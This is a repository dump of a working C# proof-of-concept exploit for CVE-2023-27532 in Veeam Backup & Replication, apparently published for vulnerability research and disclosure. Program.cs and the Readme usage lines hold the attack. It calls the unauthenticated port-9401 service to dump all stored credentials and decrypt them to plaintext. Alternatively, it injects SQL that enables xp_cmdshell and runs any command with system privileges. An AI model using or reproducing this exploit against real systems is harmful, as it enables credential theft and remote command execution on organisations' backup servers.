├── .gitignore
├── VeeamHax1.png
├── VeeamHax2.png
├── VeeamHax3.png
├── VeeamHax_TemporaryKey.pfx
├── App.config
├── VeeamHax.sln
├── Readme.md
├── Properties
├── AssemblyInfo.cs
└── app.manifest
├── VeeamHax.csproj
└── Program.cs
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs/
2 | bin/
3 | obj/
4 | *.csproj.user
--------------------------------------------------------------------------------
/VeeamHax1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax1.png
--------------------------------------------------------------------------------
/VeeamHax2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax2.png
--------------------------------------------------------------------------------
/VeeamHax3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax3.png
--------------------------------------------------------------------------------
/VeeamHax_TemporaryKey.pfx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax_TemporaryKey.pfx
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/VeeamHax.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.5.33502.453
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VeeamHax", "VeeamHax.csproj", "{A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {0C8D0B0D-BCFA-4045-9B4A-10D2C38AAA46}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # CVE-2023-27532
2 |
3 | Proof of Concept code to exploit CVE-2023-27532 and either leak plaintext credentials or perform remote command execution.
4 |
5 | ## Overview
6 |
7 | For a detailed analysis of the vulnerability and exploitation please read the Rapid7 [AttackerKB Analysis](https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis).
8 |
9 | ## Building
10 |
11 | Open in Visual Studio. You will need to either add or update the references to `Veeam.Backup.Common.dll`, `Veeam.Backup.Interaction.MountService.dll`, and `Veeam.Backup.Model.dll`. To make things easier, install Veeam Backup & Replication on the development machine, although this is not a hard requirement.
12 |
13 | ## Usage
14 |
15 | Leak the plaintext credentials from the remote server.
16 |
17 | ```
18 | > VeeamHax.exe --target 192.168.0.100
19 | ```
20 |
21 | 
22 |
23 | Run an arbitrary command with local system privileges on the remote server.
24 |
25 | ```
26 | > VeeamHax.exe --target 192.168.0.100 --cmd calc.exe
27 | ```
28 |
29 | 
30 |
31 | 
32 |
33 | ## Credits
34 |
35 | Previous research into this vulnerability was performed by:
36 |
37 | * [CODE WHITE GmbH](https://twitter.com/codewhitesec/status/1633948476353519616)
38 | * [Huntress](https://www.huntress.com/blog/veeam-backup-replication-cve-2023-27532-response)
39 | * [Y4er](https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/)
40 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("VeeamHax")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("")]
13 | [assembly: AssemblyCopyright("")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("a96c7c34-5791-43cf-9f8b-8ef5b3fb6eba")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Properties/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
50 |
58 |
59 |
73 |
--------------------------------------------------------------------------------
/VeeamHax.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}
8 | Exe
9 | VeeamHax
10 | VeeamHax
11 | v4.8
12 | 512
13 | true
14 | true
15 | false
16 |
17 | publish\
18 | true
19 | Disk
20 | false
21 | Foreground
22 | 7
23 | Days
24 | false
25 | false
26 | true
27 | 1
28 | 1.0.0.%2a
29 | false
30 | true
31 | true
32 |
33 |
34 | x64
35 | true
36 | full
37 | false
38 | bin\Debug\
39 | DEBUG;TRACE
40 | prompt
41 | 4
42 |
43 |
44 | AnyCPU
45 | pdbonly
46 | true
47 | bin\Release\
48 | TRACE
49 | prompt
50 | 4
51 |
52 |
53 | VeeamHax.Program
54 | 11.0
55 |
56 |
57 | CB1020AB3264CD502FC01A4F8AE9CDED3FC49646
58 |
59 |
60 | VeeamHax_TemporaryKey.pfx
61 |
62 |
63 | true
64 |
65 |
66 | LocalIntranet
67 |
68 |
69 | Properties\app.manifest
70 |
71 |
72 | true
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | False
89 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll
90 |
91 |
92 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.dll
93 |
94 |
95 | False
96 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Model.dll
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 | False
111 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29
112 | true
113 |
114 |
115 | False
116 | .NET Framework 3.5 SP1
117 | false
118 |
119 |
120 |
121 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | // Proof of Concept code to exploit CVE-2023-27532 and either leak plaintext credentials or perform remote command execution.
2 | // For a detailed analysis of the vulnerability and exploitation please read the Rapid7 AttackerKB Analysis: https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis
3 | using System;
4 | using System.Collections.Generic;
5 | using System.IO;
6 | using System.Runtime.Serialization.Formatters.Binary;
7 | using System.Security.Cryptography;
8 | using System.ServiceModel;
9 | using System.ServiceModel.Security;
10 | using System.Text;
11 | using Veeam.Backup.Core;
12 | using Veeam.Backup.Interaction.MountService;
13 | using Veeam.Backup.Model;
14 |
15 | namespace VeeamHax
16 | {
17 | internal class Program
18 | {
19 | static void Main(string[] args)
20 | {
21 | string host = "127.0.0.1";
22 | int port = 9401;
23 | bool verbose = false;
24 | string cmd = null;
25 |
26 | for (int i = 0; i < args.Length; i++)
27 | {
28 | if (args[i] == "--target" && i + 1 < args.Length)
29 | host = args[i + 1];
30 | else if (args[i] == "--port" && i + 1 < args.Length)
31 | port = Int32.Parse(args[i + 1]);
32 | else if (args[i] == "--verbose")
33 | verbose = true;
34 | else if (args[i] == "--cmd" && i + 1 < args.Length)
35 | cmd = args[i + 1];
36 | else if (args[i] == "--help" || args[i] == "-h" || args[i] == "/?")
37 | {
38 | Console.WriteLine("Usage: VeeamHax.exe [--verbose] --target 192.168.0.1 --port 9401 [--cmd \"c:\\windows\\notepad.exe\"]");
39 | return;
40 | }
41 | }
42 |
43 | Console.WriteLine("Targeting {0}:{1}", host, port);
44 |
45 | NetTcpBinding binding = new NetTcpBinding();
46 |
47 | NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
48 |
49 | netTcpSecurity.Mode = SecurityMode.Transport;
50 |
51 | TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
52 |
53 | tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
54 |
55 | netTcpSecurity.Transport = tcpTransportSecurity;
56 |
57 | binding.Security = netTcpSecurity;
58 |
59 | binding.Name = "foo";
60 |
61 | Uri uri = new Uri(String.Format("net.tcp://{0}:{1}/", host, port));
62 |
63 | EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
64 |
65 | ChannelFactory channelFactory = new ChannelFactory(binding, endpoint);
66 |
67 | X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
68 |
69 | x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
70 |
71 | channelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
72 |
73 | IRemoteInvokeService channel = channelFactory.CreateChannel(endpoint);
74 |
75 | if (cmd != null)
76 | {
77 | // CommandType 1 == Text
78 |
79 | string spec = String.Format(
80 | """
81 |
82 |
83 | EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell '{1}';
84 | 1
85 |
86 |
87 | """,
88 | Guid.NewGuid().ToString(),
89 | cmd
90 | );
91 |
92 | channel.GetDataTable(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.GetDataTable, spec);
93 | }
94 | else
95 | {
96 | MemoryStream stream = new MemoryStream();
97 |
98 | BinaryFormatter formatter = new BinaryFormatter();
99 |
100 | formatter.Serialize(stream, true);
101 |
102 | string includeHidden = Convert.ToBase64String(stream.ToArray());
103 |
104 | string parameters = String.Format(
105 | """
106 |
107 |
108 |
109 |
110 |
111 | """,
112 | Guid.NewGuid().ToString(),
113 | includeHidden
114 | );
115 |
116 | string xml_result = channel.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, parameters);
117 |
118 | if (verbose)
119 | {
120 | Console.WriteLine("Dumping raw response:");
121 | Console.WriteLine(xml_result);
122 | Console.WriteLine("");
123 | }
124 |
125 | CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Deserialize(xml_result);
126 |
127 | string retVal = allCreds2.GetParamAsString("retVal");
128 |
129 | List result = CProxyBinaryFormatter.Deserialize>(retVal);
130 |
131 | foreach (CDbCredentialsInfo info in result)
132 | {
133 | byte[] password_raw;
134 |
135 | // password is now 'encrypted' using Crypt32!CryptProtectData from our local machine, which occurred during deserialization above.
136 | // so we can unprotect it here to get back the plaintext.
137 | if (info.Credentials.IsLocalProtect)
138 | password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)1);
139 | else
140 | password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)0);
141 |
142 | string password = Encoding.UTF8.GetString(password_raw);
143 |
144 | Console.WriteLine("User: {0}\nID: {1}\nPassword: {2}\n", info.Credentials.Name, info.Id, password);
145 | }
146 | }
147 | }
148 | }
149 | }
150 |
--------------------------------------------------------------------------------